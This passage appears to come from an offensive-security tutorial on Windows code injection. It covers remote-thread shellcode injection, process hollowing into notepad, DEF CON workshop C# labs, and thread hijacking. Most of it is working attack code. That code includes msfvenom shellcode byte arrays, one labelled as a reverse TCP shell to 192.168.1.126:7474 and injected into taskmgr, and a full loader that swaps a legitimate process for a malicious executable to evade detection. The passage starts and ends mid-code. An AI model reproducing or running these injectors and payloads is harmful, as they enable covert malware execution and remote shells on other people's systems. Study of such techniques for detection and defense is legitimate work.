            // Obtain a handle to the target process
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);
            // Allocate memory in the target process's address space
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            // Define the shellcode bytes to inject
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x48,0x31,0xd2,
0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x51,0x48,0x8b,
0x52,0x20,0x56,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,
0x8b,0x72,0x50,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x44,0x8b,0x40,0x20,0x8b,0x48,0x18,0x49,0x01,0xd0,0x50,
0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
0x48,0x01,0xd6,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x11,0x5c,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,
0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,
0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,
0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,
0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,
0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,
0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,
0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,
0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,
0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,
0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,
0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,
0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};

            // Write the shellcode to the allocated memory in the target process
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
            // Create a remote thread in the target process to execute the shellcode
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }
    }
}

Process Hollowing

This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE (Portable Executable) data and sections into the process.

The code below performs the following steps:

  • It creates a new process (in this case, Notepad) in a suspended state.
  • It opens a malicious executable file.
  • It reads the headers of the malicious file to understand its structure.
  • It unmaps the legitimate code from the process memory.
  • It maps sections of the malicious file into the process memory.
  • It sets the entry point of the process to the malicious code.
  • Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process.

Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities.

#include
#include
// Function to read the headers of the malicious image
bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) {
    // Read the DOS header
    IMAGE_DOS_HEADER dosHeader;
    DWORD bytesRead;
    if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER))
        return false;
    // Verify the DOS signature
    if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE)
        return false;
    // Allocate memory for the DOS header and copy the data
    *ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
    if (*ppDosHeader == NULL)
        return false;
    memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER));
    // Move the file pointer to the NT headers
    if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
        return false;
    // Read the NT headers
    IMAGE_NT_HEADERS ntHeaders;
    if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS))
        return false;
    // Verify the NT signature
    if (ntHeaders.Signature != IMAGE_NT_SIGNATURE)
        return false;
    // Allocate memory for the NT headers and copy the data
    *ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS));
    if (*ppNtHeaders == NULL)
        return false;
    memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS));
    return true;
}
// Function to un-map legitimate code from process memory
bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
    // Calculate the base address of the image
    LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
    // Unmap the image from process memory
    if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE))
        return false;
    return true;
}
// Function to map sections of the malicious image into process memory
bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) {
    // Calculate the base address of the image
    LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
    // Iterate over each section in the image
    IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
    for (WORD i = 0; i FileHeader.NumberOfSections; i++) {
        // Calculate the section virtual address and size
        LPVOID sectionAddress = (LPVOID)((DWORD)baseAddress + pSectionHeader[i].VirtualAddress);
        SIZE_T sectionSize = pSectionHeader[i].Misc.VirtualSize;
        // Allocate memory for the section in the target process
        LPVOID remoteMemory = VirtualAllocEx(hProcess, sectionAddress, sectionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (remoteMemory == NULL)
            return false;
        // Read the section data from the file
        DWORD bytesRead;
        if (!ReadFile(hFile, remoteMemory, sectionSize, &bytesRead, NULL) || bytesRead != sectionSize)
            return false;
    }
    return true;
}
// Function to set the entry point for the malicious code
void SetEntryPoint(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
    // Calculate the base address of the image
    LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
    // Calculate the entry point address
    LPVOID entryPoint = (LPVOID)((DWORD)baseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    // Update the thread context to set the new entry point
    CONTEXT context;
    context.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hProcess, &context);
    context.Eip = (DWORD)entryPoint;
    SetThreadContext(hProcess, &context);
}
int main() {
    // Step 1: Create a target process in a suspended state
    STARTUPINFOA startupInfo = { sizeof(startupInfo) };
    PROCESS_INFORMATION processInfo;
    if (!CreateProcessA(NULL, "C:\\Windows\\System32\\notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo)) {
        std::cout << "Failed to create target process." << std::endl;
        return 1;
    }
    // Step 2: Open the malicious image file
    HANDLE hFile = CreateFileA("malicious.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        std::cout << "Failed to open malicious image." << std::endl;
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }
    // Step 3: Read the headers of the malicious image
    PIMAGE_DOS_HEADER pDosHeader = NULL;
    PIMAGE_NT_HEADERS pNtHeaders = NULL;
    if (!ReadImageHeaders(hFile, &pDosHeader, &pNtHeaders)) {
        std::cout << "Failed to read image headers." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }
    // Step 4: Unmap legitimate code from process memory
    if (!UnmapImage(processInfo.hProcess, pNtHeaders)) {
        std::cout << "Failed to un-map legitimate code from process memory." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }
    // Step 5: Map sections of the malicious image into process memory
    if (!MapSections(processInfo.hProcess, hFile, pDosHeader, pNtHeaders)) {
        std::cout << "Failed to map malicious sections into process memory." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }
    // Step 6: Set the entry point for the malicious code
    SetEntryPoint(processInfo.hProcess, pNtHeaders);
    // Resume the target process to execute the malicious code
    if (ResumeThread(processInfo.hThread) == -1) {
        std::cout << "Failed to resume the target process." << std::endl;
        CloseHandle(hFile);
        TerminateProcess(processInfo.hProcess, 0);
        return 1;
    }
    std::cout << "Process hollowing completed successfully!" << std::endl;
    // Cleanup
    CloseHandle(hFile);
    CloseHandle(processInfo.hThread);
    CloseHandle(processInfo.hProcess);

C# process hollowing from defcon27

See "Defcon - Writing custom backdoor payloads with C#" above for more info.

defcon27_csharp_workshop/Labs/lab7 at master · mvelazc0/defcon27_csharp_workshop · GitHub

Lab 1 - Starting and suspending a process

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
public class Program
{
    // P/Invoke declarations for kernel32.dll functions
    // Opens an existing thread object
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    // Suspends the execution of a thread
    [DllImport("kernel32.dll")]
    static extern uint SuspendThread(IntPtr hThread);
    // Resumes the execution of a thread
    [DllImport("kernel32.dll")]
    static extern int ResumeThread(IntPtr hThread);
    // Constant value for thread access rights
    private static UInt32 SUSPEND_RESUME = 0x0002;
    public static void Main()
    {
        // Specify the process to start
        string proc = "msiexec.exe";
        // Start the specified process
        Process newproc = Process.Start(proc);
        Console.WriteLine("Started " + proc + " with Process Id: " + newproc.Id);
        Console.WriteLine("Press any key to suspend the process ...");
        Console.ReadKey();
        Console.WriteLine("Suspending process...");
        // Iterate over each thread in the process
        foreach (ProcessThread thread in newproc.Threads)
        {
            // Open the thread to get a handle
            IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            // If the thread handle is invalid, break the loop
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            // Suspend the thread's execution
            SuspendThread(pOpenThread);
        }
        Console.WriteLine("Suspended!");
        Console.WriteLine("Press any key to resume the process ...");
        Console.ReadKey();
        Console.WriteLine("Resuming process...");
        // Iterate over each thread in the process again
        foreach (ProcessThread thread in newproc.Threads)
        {
            // Open the thread to get a handle
            IntPtr pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            // If the thread handle is invalid, break the loop
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            // Resume the thread's execution
            ResumeThread(pOpenThread);
        }
        Console.WriteLine("Resumed!");
    }
}

Lab 2 - Getting a shell

using System.Diagnostics;
using System.Runtime.InteropServices;
using System;
using System.Text;
using System.Threading;
public class Program
{
    // Constants for process access flags
    const int PROCESS_CREATE_THREAD = 0x0002;
    const int PROCESS_QUERY_INFORMATION = 0x0400;
    const int PROCESS_VM_OPERATION = 0x0008;
    const int PROCESS_VM_WRITE = 0x0020;
    const int PROCESS_VM_READ = 0x0010;
    // Importing necessary functions from kernel32.dll and ntdll.dll
    [DllImport("kernel32.dll")]
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
    [DllImport("kernel32.dll")]
    static extern uint SuspendThread(IntPtr hThread);
    [DllImport("kernel32.dll")]
    static extern int ResumeThread(IntPtr hThread);
    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
    [DllImport("kernel32.dll")]
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32")]
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);
    // Constants for memory allocation and protection
    private static UInt32 MEM_COMMIT = 0x1000;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
    private static UInt32 SUSPEND_RESUME = 0x0002;
    public static void Main()
    {
        // Shellcode generated using msfvenom
        byte[] shellcode = new byte[193] {
            0xfc,0xe8,0x82,0x00,0x00,0x00, 0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,
            0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,
            0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,
            0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
            0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,
            0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,
            0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,
            0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,
            0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
            0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00
        };
        string proc = "userinit.exe";
        // Start the target process
        Process newproc;
        newproc = Process.Start(proc);
        Console.WriteLine("Started " + proc + " with Process Id:" + newproc.Id);
        Console.WriteLine("Suspending process...");
        // Suspend all threads in the process
        foreach (ProcessThread thread in newproc.Threads)
        {
            IntPtr pOpenThread;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            SuspendThread(pOpenThread);
        }
        Console.WriteLine("Suspended!");
        // Open the target process
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);
        // Allocate memory in the target process
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        Console.WriteLine("Allocating memory");
        // Write the shellcode into the allocated memory
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);
        Console.WriteLine("Copied shellcode in memory");
        // Create a remote thread in the target process to execute the shellcode
        IntPtr pinfo = IntPtr.Zero;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
        Console.WriteLine("Created remote thread");
        Console.WriteLine("Resuming process...");
        // Resume all threads in the process
        foreach (ProcessThread thread in newproc.Threads)
        {
            IntPtr pOpenThread;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);
            if (pOpenThread == IntPtr.Zero)
            {
                break;
            }
            ResumeThread(pOpenThread);
        }
        Console.WriteLine("Resumed!");
    }
}
In this code, the following external libraries are used:
- `System.Diagnostics`: It provides classes for interacting with system processes, such as starting and monitoring processes.
- `System.Runtime.InteropServices`: It provides interop services for calling unmanaged code.
The code performs the following actions:
1. Defines constants for process access rights:
   - `PROCESS_CREATE_THREAD`: Required to create a thread.
   - `PROCESS_QUERY_INFORMATION`: Required to retrieve information about the process.
   - `PROCESS_VM_OPERATION`: Required to perform virtual memory operations.
   - `PROCESS_VM_WRITE`: Required to write to the process's memory.
   - `PROCESS_VM_READ`: Required to read from the process's memory.
2. Imports external functions from Windows kernel32.dll and ntdll.dll using the `DllImport` attribute. These functions are used for low-level operations on processes and threads:
   - `OpenThread`: Opens an existing thread object for access.
   - `SuspendThread`: Suspends the execution of a thread.
   - `ResumeThread`: Resumes the execution of a thread.
   - `NtUnmapViewOfSection`: Unmaps a view of a section from the virtual address space of a target process.
   - `OpenProcess`: Opens an existing local process object for access.
   - `VirtualAllocEx`: Reserves or commits a region of memory within the virtual address space of a target process.
   - `CreateRemoteThread`: Creates a thread that runs in the virtual address space of another process.
   - `WaitForSingleObject`: Waits until the specified object is in the signaled state or the time-out interval elapses.
   - `WriteProcessMemory`: Writes data to an area of memory in a specified process.
3. Defines constants for memory allocation and protection:
   - `MEM_COMMIT`: Allocates memory and initializes it with zeroes.
   - `PAGE_EXECUTE_READWRITE`: Enables read, write, and execute access to the allocated memory.
   - `SUSPEND_RESUME`: Access rights required to suspend/resume a thread.
4. Defines the `Main` method, which is the entry point of the program.
5. Contains a byte array `shellcode` that represents the payload to be injected into the target process. The shellcode contains machine code instructions for executing the `calc.exe` calculator program.
6. Sets the target process name to "userinit.exe".
7. Starts the target process using `Process.Start(proc)`, where `proc` is the process name.
8. Suspends all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `SuspendThread` for each thread.
9. Opens the target process using `OpenProcess` to obtain a handle for subsequent operations.
10. Allocates memory in the target process using `VirtualAllocEx` and assigns the address of the allocated memory to `spaceAddr`.
11. Writes the shellcode into the allocated memory of the target process using `WriteProcessMemory`.
12. Creates a remote thread in the target process using `CreateRemoteThread`, which starts the execution of the shellcode.
13. Resumes all threads in the target process by iterating over the `Threads` collection of the `newproc` object and calling `OpenThread` and `ResumeThread` for each thread.
The result is that the `calc.exe` calculator program will be injected and executed within the context of the target process specified by `userinit.exe`.

Thread (execution) hijacking

Thread hijacking is a technique used to take control of a running thread within a process and make it execute malicious code instead of its original instructions.

In simpler terms, thread hijacking is like sneaking into a factory, finding a worker, briefly freezing them, changing their tasks, and watching them unknowingly carry out a harmful action according to your new instructions.

At a high-level thread (execution) hijacking can be broken up into eleven steps:

  • Locate and open a target process to control.
  • Allocate memory region for malicious code.
  • Write malicious code to allocated memory.
  • Identify the thread ID of the target thread to hijack.
  • Open the target thread.
  • Suspend the target thread.
  • Obtain the thread context.
  • Update the instruction pointer to the malicious code.
  • Rewrite the target thread context.
  • Resume the hijacked thread.
  • Opening the process: Imagine you want to control a locked room. To gain access, you first need to open the door. Similarly, in thread hijacking, you open the process you want to control using functions like OpenProcess in C# or OpenProcess in C++.
IntPtr hProcess = OpenProcess(
    ProcessAccessFlags.All, // Requests all possible access rights
    false, // Child processes do not inherit parent process handle
    processId // The ID of the target process
);

2. Allocating memory: Once you're inside the room, you need a place to write your secret message. In thread hijacking, you allocate a region in the process's memory using functions like VirtualAllocEx in C# or VirtualAllocEx in C++.

IntPtr remoteBuffer = VirtualAllocEx(
    hProcess, // Opened target process
    IntPtr.Zero,
    shellcode.Length, // Size of memory allocation
    AllocationType.Commit | AllocationType.Reserve, // Reserves and commits memory
    MemoryProtection.ExecuteReadWrite // Enables execution and read/write access
);

3. Writing malicious code: Now, you write your secret message on the allocated space. Similarly, in thread hijacking, you write your malicious code to the allocated memory using functions like WriteProcessMemory in C# or WriteProcessMemory in C++.

WriteProcessMemory(
    hProcess, // Opened target process
    remoteBuffer, // Allocated memory region
    shellcode, // Data to write
    shellcode.Length, // Size of data in bytes
    out _ // Ignored in this example
);

4. Identifying the target thread: Imagine there are many workers in the room, and you want to control a specific worker. In thread hijacking, you identify the target thread within the process using functions like CreateToolhelp32Snapshot, Thread32First, and Thread32Next in C# or C++.

THREADENTRY32 threadEntry = new THREADENTRY32();
IntPtr hSnapshot = CreateToolhelp32Snapshot(
    SnapshotFlags.Thread, // Snapshot of all threads
    processId // ID of the target process
);
Thread32First(
    hSnapshot,
    ref threadEntry
);
while (Thread32Next(
    hSnapshot,
    ref threadEntry
)) {
    // Check if the thread belongs to the target process
    if (threadEntry.th32OwnerProcessID == processId) {
        IntPtr hThread = OpenThread(
            ThreadAccessFlags.All, // Requests all possible access rights
            false, // Child threads do not inherit parent thread handle
            threadEntry.th32ThreadID // ID of the target thread
        );
        break;
    }
}

5. Opening the target thread: Once you have identified the target worker (thread), you need to approach and communicate with them. In thread hijacking, you open the target thread using functions like OpenThread in C# or C++.

IntPtr hThread = OpenThread(
    ThreadAccessFlags.All, // Requests all possible access rights
    false, // Child threads do not inherit parent thread handle
    threadEntry.th32ThreadID // ID of the target thread
);

6. Suspending the target thread: To prevent the worker (thread) from executing their original instructions, you temporarily pause them. In thread hijacking, you suspend the target thread using functions like SuspendThread in C# or C++.

SuspendThread(hThread);

7. Obtaining the thread context: While the worker (thread) is paused, you gather important information about their current state. In thread hijacking, you obtain the thread context using functions like GetThreadContext in C# or C++.

CONTEXT context = new CONTEXT();
context.ContextFlags = CONTEXT_FLAGS.CONTEXT_ALL;
GetThreadContext(
    hThread,
    ref context
);

8. Overwriting the instruction pointer (IP): The instruction pointer determines the next instruction for the worker (thread). In thread hijacking, you update the thread context to overwrite the instruction pointer and redirect it to your malicious code.

Note that context.Rip is for x86_64 process architecture. While context.Eip is for 32-bit x86 process architecutre.

context.Rip = (ulong)remoteBuffer; // Set RIP to the address of the malicious code

9. Updating the thread context: Once you have modified the context, you update it to the current thread. In thread hijacking, you set the modified thread context using functions like SetThreadContext in C# or C++.

SetThreadContext(
    hThread,
    ref context
);

10. Resuming the target thread: Now that the worker (thread) has been prepared, you allow them to execute your malicious code. In thread hijacking, you resume the target thread using functions like ResumeThread in C# or C++.

ResumeThread(hThread);

csharp example

The code below will inject a reverse shell into taskmgr with PID 1688.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class Program
{
    // Native WinAPI functions
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll")]
    public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool CloseHandle(IntPtr hObject);
    const int PROCESS_ALL_ACCESS = 0x1F0FFF;
    const uint MEM_COMMIT = 0x1000;
    const uint MEM_RELEASE = 0x8000;
    const uint PAGE_EXECUTE_READWRITE = 0x40;
    static void Main(string[] args)
    {
        // Obtain the target process (replace with the appropriate process ID)
        Process targetProcess = Process.GetProcessById(1688);
        // Open a handle to the target process
        IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetProcess.Id);
        // Allocate memory within the target process
        IntPtr pRemoteCode = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        // Write the shellcode to be injected into the allocated memory
        int bytesWritten;
        WriteProcessMemory(hProcess, pRemoteCode, shellcode, (uint)shellcode.Length, out bytesWritten);
        // Create a remote thread in the target process that starts executing the injected shellcode
        IntPtr hRemoteThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, pRemoteCode, IntPtr.Zero, 0, IntPtr.Zero);
        // Wait for the remote thread to finish
        WaitForSingleObject(hRemoteThread, 0xFFFFFFFF);
        // Cleanup
        CloseHandle(hRemoteThread);
        // Use Marshal to invoke VirtualFreeEx
        Marshal.FreeHGlobal(pRemoteCode);
        CloseHandle(hProcess);
    }
// msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.126 LPORT=7474 -f csharp
    static byte[] shellcode = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x1d,0x32,
0xc0,0xa8,0x01,0x7e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
